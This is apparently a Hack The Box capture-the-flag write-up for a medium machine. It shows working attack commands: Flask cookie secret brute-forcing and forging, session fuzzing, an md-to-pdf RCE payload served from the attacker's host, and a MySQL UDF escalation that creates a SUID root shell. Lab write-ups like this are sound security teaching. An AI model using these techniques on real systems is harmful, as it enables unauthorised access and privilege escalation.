Difficulty: Medium

In this box, I started by enumerating an FTP service and a Flask-based web app where I discovered a weakly signed session cookie.
Using flask-unsign, I brute-forced the secret key and generated admin session tokens, revealing credentials through a privileged note.
With those, I accessed the FTP server and downloaded application backups, one of which exposed an RCE vulnerability in a Node.js script (md-to-pdf).
Finally, I leveraged a MySQL UDF exploit using a discovered root password to escalate to root and gain full control of the system.

Nmap

The nmap scan revealed three open and ports:

obraz

Port 21 - FTP

I always start with ftp when doing ctf challenges.

obraz

I tried logging in with username “anonymous” and a blank password “”, but it failed.

Port 5000 - Website

Website looks like this and welcomes us with login page:

obraz

First I tried some default credentials like admin:admin, but they failed.
Then I tried sqli authentication bypass, also failed.

Let’s just register an account:

obraz

We found that this website is running CKEditor for notes:

obraz

Then I did directory busting:

feroxbuster --url http://10.10.11.160:5000/ -x php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Nothing intresting.

When we click on note we get /note/3, another idea was to look for IDOR vulnerability.
I tried /note/1 and a few other ones but they also didn’t work.

Next thing that I checked was response headers with curl:

obraz

That is an intresting finding.
At first glance it looks like JWT token, unfortunately we wasn’t able to decode it.

Turns out that it is a Flask cookie.
There is a tool called flask-unsign that can be used to decode flask cookies.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZWVlZSJ9.aF_apQ.zdGYMEDn5AaY6SsoJSeW4KFz2lc'

obraz

Flask cookies contain a secret that can be brute-forced if it’s weak enough:

flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZWVlZSJ9.aF_apQ.zdGYMEDn5AaY6SsoJSeW4KFz2lc' -w /usr/share/wordlists/rockyou.txt --no-literal-eval

obraz

With the secret we can craft any cookie we want, let’s hope there is an admin account:

 flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123' 

Now I’ll replace the cookie with newly created one in devtools.
Unfortunately it didn’t work.

There is other option that we can try.
If we create a list of many cookies everyone with different username.
We then should be able to brute-force website and get different response when we submit existing cookie.

I created simple script that will generate a list of cookies for us:

import subprocess

wordlist_path = '/usr/share/wordlists/seclists/Usernames/Names/names.txt'
secret_key = 'secret123'

with open(wordlist_path, 'r') as file:
    for user in file:
        user = user.strip() 
        cookie_data = f"{{'logged_in': True, 'username': '{user}'}}" 
        cmd = [
            'flask-unsign',
            '--sign',
            '--cookie', cookie_data,
            '--secret', secret_key
        ]
        subprocess.run(cmd)

Now we can run it with:

python3 generate.py > list2.txt

It can take up to 5-10 mins.
Now we want to fuzz an existing cookie:

wfuzz -w list2.txt -u http://10.10.11.160:5000/dashboard -H "Cookie: session=FUZZ" --hc 302

obraz

It worked, in the syntax we filtered out 302 code and waited for 200.
Let’s open devtools and replace cookie with the one that wfuzz found.
After we refresh the page we get admin access as user “blue”:

obraz

I looked through the dashboard and found note with credentials:

obraz

Let’s write them down:

  • blue:blue@Noter!

Back to FTP

Those credentials fail for ssh but work for ftp.

obraz

We transfered policy.pdf to kali, let’s take a look at it.

obraz

It talked about password policy, the line that was a hint was:

Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)

If we look at the previous note, it’s signed as ftp_admin.
We can try to follow the password policy to login as ftp_admin:

  • Username: ftp_admin
  • Password: ftp_admin@Noter!

obraz

It worked, we ftp_admin had some application backups, we transfered them to kali.

Source Code Analysis

There are two application backups, I’ll unzip this first as it contains more data:

unzip app_backup_1638395546.zip

After quick enumeration we found md-to-pdf.js

obraz

We also checked it’s version.
There is an exploit for it:

https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880

It’s simple to exploit but first we have to find where our application uses md-to-pdf:

# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)  
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                        if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):  

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                        return render_template('export_note.html', error="Error occured!")


            else: 
                        return render_template('export_note.html', error=f"Error occured while exporting ! ({error})") 
            
        except Exception as e:
                        return render_template('export_note.html', error=f"Error occured while exporting ! ({e})") 

    else:
        abort(403)

/export_note_remote uses md-to-pdf, the part that confirms it is:

r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000) 
command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}" 
subprocess.run(command, shell=True, executable="/bin/bash")

If we provide malicious .md file to md-to-pdf.js we can execute code, let’s create this file:

cat POC.md                      
---js
((require("child_process")).execSync("ping 10.10.14.5"))
---RCE

Now we have to host it on the python server:

obraz

And now go to the website and use remote note functionality and specify our server:

obraz

It successfully reaches our server:

obraz

Then we take a look at tcpdump and we get ping back to our machine meaning we achieved code execution:

obraz

Using RCE to get a shell

We’ll start with base64 encoding the payload:

obraz

Now put it into a file with .md extension:

obraz

And do the same thing as we did with POC payload:

obraz

Lastly retrieve a flag:

obraz

Priv Esc to root

If we run ps aux it only shows processes owned by svc.

obraz

It happens because /etc/fstab has hidepid=2, so ps will not show processes of other users.

We can check services:

cd /etc/systemd
find . -name '*.service'

Let’s check mysql service:

cat ./system/mysql-start.service

I’ll paste it here:

[Unit]
Description=MySQL service

[Service]
ExecStart=/usr/sbin/mysqld
User=root
Group=root

[Install]
WantedBy=multi-user.target

We now know that mysql runs as user root instead of user mysql.
It’s a dangerous configuration.

After quick search for exploit I found:

https://www.exploit-db.com/exploits/1518

We need to compile it:

gcc -g -c raptor.c
gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc

obraz

I was stuck here for a while and then noticed that we had second application backup.
I checked it and found mysql root password:

  • root:Nildogg36

obraz

I followed this article to exploit this vulnerability:

https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf

After logging into mysql we need to run:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/svc/raptor_udf2.so'));

Now locate plugins directory:

show variables like '%plugin%';

Then we run:

select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;

Now we should be able to run commands, we will copy /bin/bash to /tmp and add SUID bit:

select do_system('cp /bin/bash /tmp/bash; chmod 4777 /tmp/bash');

The whole exploitation can be seen on screenshot below:

obraz

obraz

Now we can use our copy of /bin/bash and escalate to root:

obraz

Thanks for reading!


<
Previous Post
HTB Epsilon (Medium) - Writeup
>
Next Post
HTB Sandworm (Medium) - Writeup